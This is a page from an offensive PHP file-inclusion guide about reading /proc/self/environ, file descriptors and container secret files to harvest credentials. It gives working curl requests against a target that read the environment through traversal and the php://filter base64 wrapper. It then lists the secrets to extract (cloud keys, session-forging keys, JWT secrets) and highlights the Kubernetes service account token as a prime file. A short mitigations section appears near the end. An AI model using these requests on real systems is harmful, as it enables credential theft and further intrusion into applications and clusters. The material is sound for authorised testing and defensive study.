/proc, environ, and File Descriptors
In a containerised deployment the secrets are in the environment, not the config file. /proc/self/environ is one traversal away and is frequently the whole engagement.
Why /proc got more interesting, not less
The classic use of /proc/self/environ was as a write primitive: on mod_php, the User-Agent header ended up in the process environment, so you could put PHP source in a header and then include environ to execute it.
That is largely gone. PHP-FPM does not reflect request headers into the worker's environment, and the process serving your request is not the one that read the header anyway.
What replaced it is better. Modern deployments inject configuration as environment variables — database URLs, object-store credentials, API keys, framework secrets. So /proc/self/environ stopped being a way to run code and became the fastest route to every credential the application has. On a container that is frequently a more valuable read than the config file, because it includes things that never appear in the repository.
The files worth knowing
Reading environ
# environ is null-separated, so it arrives as one long run in the response.
# Translate the nulls to newlines to make it readable.
curl -s 'https://target.example/index.php?page=/proc/self/environ' | tr '\0' '\n'
# Through the filter wrapper, which survives HTML mangling much better:
curl -s 'https://target.example/index.php?page=php://filter/convert.base64-encode/resource=/proc/self/environ' \
| grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | base64 -d | tr '\0' '\n'
# What you are looking for:
# DATABASE_URL=postgres://user:pass@db.internal/app
# AWS_SECRET_ACCESS_KEY=…
# AWS_SESSION_TOKEN=…
# APP_KEY=base64:… <- forge sessions with this
# REDIS_URL=… JWT_SECRET=… STRIPE_SECRET_KEY=…
# KUBERNETES_SERVICE_HOST=… <- you are in a pod; see the token belowA caveat about /proc/self
/proc/self refers to the process doing the reading. Under PHP-FPM that is the worker handling your request, which is what you want.
But which worker handles a given request is not stable, and workers are recycled. Two consequences worth knowing before you spend an hour on a confusing result:
- The environment is usually identical across workers, because they are all forked from the same master with the same environment. So
selfis fine forenviron. - File descriptors are not.
/proc/self/fd/8on one request and the next are different files. Anything you do with descriptors has to happen within one request, which is a real constraint on the temp-file race.
If you need a specific process, enumerate: /proc/1/environ is the container's init, which under many orchestrators has an even richer environment than the worker.
File descriptors
/proc/self/fd/N reaches whatever the process has open, including files that have been unlinked and therefore have no path at all.
That last property is the interesting one. A PHP upload that has been moved or deleted still exists as long as a descriptor is open, and reading it through /proc/self/fd/ is one of the ways the temp-file race is exploited.
What you will typically find:
0,1,2— stdin, stdout, stderr. Under FPM these often point at the error log.- Low single digits — listening sockets and log files opened at startup.
- Anything above about 5 — request-scoped. Session files, uploads, database sockets.
Brute-force the range 0–30. It is cheap, and the payoff is a file you could not otherwise name.
In a container
# Am I in a container, and what kind?
/proc/self/mounts
/proc/self/cgroup
/.dockerenv (exists on Docker; a plain empty file)
# Kubernetes: the service account token is mounted into every pod by
# default and is readable by the app user. This is often the single
# highest-value file on the filesystem.
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Mounted secrets, if the deployment uses files rather than env vars.
/run/secrets/* (Docker Swarm / compose secrets)
# What can I reach on the network?
/proc/net/tcp (hex; ports of local listeners)
/proc/net/fib_trie (the pod's own subnet)
/etc/resolv.conf (the cluster DNS suffix)
/etc/hosts
# Note that cloud instance metadata (169.254.169.254) is NOT a file. Reaching
# it needs SSRF, which a read-only inclusion does not give you — unless the
# sink is one of the URL-capable ones. See /guide/classic-rfiWhat stops it
open_basedir./procis not in the app tree, so this is one of the cases where it genuinely helps. See open_basedir and disable_functions.- A hardened
/procmount.hidepid=2hides other processes' directories, but/proc/selfremains readable — that is the process reading it. Most of this page still works. - A distroless or scratch image.
/procis still there;/etc/passwdmay not be. This makes/proc/self/environmore important, not less. - A prepended directory or appended extension. The usual constraints;
/procpaths are ordinary paths.
What does not stop it: any allow_url_* setting, any PHP version, or any amount of filtering on the string .. if you can supply an absolute path.
Related
The technique that needs no configuration, no flag, and no version. Nothing in any php.ini stops it, which is why every live finding in 2026 starts here.
include() executes PHP instead of showing it to you. Base64-encode the stream first and it comes back as data — the single most useful request in a PHP inclusion engagement.
PHP writes every upload to a temp file before the application sees it — including uploads the application then rejects. Include it during the window and the rejection never happened.
Two hardening settings that are worth having and are not fixes. Knowing exactly what each one confines tells you what is still reachable when you meet them.
An order of operations that answers the questions that change what you do next, before spending time on payloads that the answers would have ruled out.